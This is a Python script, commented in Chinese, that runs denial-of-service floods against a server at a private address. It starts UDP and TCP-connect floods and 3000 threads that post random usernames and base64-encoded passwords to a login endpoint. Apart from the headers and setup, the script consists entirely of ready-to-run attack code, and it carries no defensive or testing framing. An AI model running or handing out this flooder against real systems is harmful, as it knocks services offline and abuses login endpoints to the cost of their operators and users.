import socket
import base64
import random
import string

import requests
import threading


headers = {
    "Accept": "application/json, text/plain, */*",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "keep-alive",
    "Content-Length": "75",
    "Content-Type": "application/json",
    "Host": "172.16.1.104:8000",
    "Origin": "http://172.16.1.104:8000",
    "Referer": "http://172.16.1.104:8000/user/login?redirect=%2Fdashboard%2Findex",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
}

def udp_flood(target_ip, target_port):
    # UDP 洪泛攻击函数
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_count = 0
    while True:
        udp_socket.sendto(b"Data", (target_ip, target_port))
        udp_count += 1
        print(f"UDP Flood Attack: {udp_count} times")


def syn_flood(target_ip, target_port):
    # SYN 洪泛攻击函数
    syn_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    syn_count = 0
    while True:
        syn_socket.connect_ex((target_ip, target_port))
        syn_count += 1
        print(f"SYN Flood Attack: {syn_count} times")


def http_get_flood(target_url):
    # HTTP GET 请求攻击函数
    http_count = 0
    while True:
        requests.get(target_url)
        http_count += 1
        print(f"HTTP GET Flood Attack: {http_count} times")


def http_post_flood(target_url):
    # HTTP GET 请求攻击函数
    http_count = 0
    while True:
        # 生成长度为10 的随机账号
        user = ''.join(random.sample(string.ascii_letters + string.digits, 10))
        # 随机密码并加密
        pwd_str = ''.join(random.sample(string.ascii_letters + string.digits, 10))
        password = base64.b64encode(pwd_str.encode()).decode()
        try:
            requests.post(target_url, json={"captcha": "yzjb", "user": user, "pwd": password},headers=headers)
            http_count += 1
            print(f"HTTP POST Flood Attack: {http_count} times")
        except:
            pass


if __name__ == "__main__":
    target_ip = "172.16.1.104"
    target_port = 8000
    target_url = "http://172.16.1.104:8000/cadre/sys/login"

    threads = []
    num_threads = 3000

    # 启动 UDP 洪泛攻击线程
    udp_thread = threading.Thread(target=udp_flood, args=(target_ip, target_port))
    udp_thread.start()

    # 启动 SYN 洪泛攻击线程
    syn_thread = threading.Thread(target=syn_flood, args=(target_ip, target_port))
    syn_thread.start()

    # 启动 HTTP GET 请求攻击线程
    # 多个线程启动
    for _ in range(num_threads):
        http_thread = threading.Thread(target=http_post_flood, args=(target_url,))
        threads.append(http_thread)
        http_thread.start()

    # 等待攻击线程结束
    udp_thread.join()
    syn_thread.join()
    for thread in threads:
        thread.join()
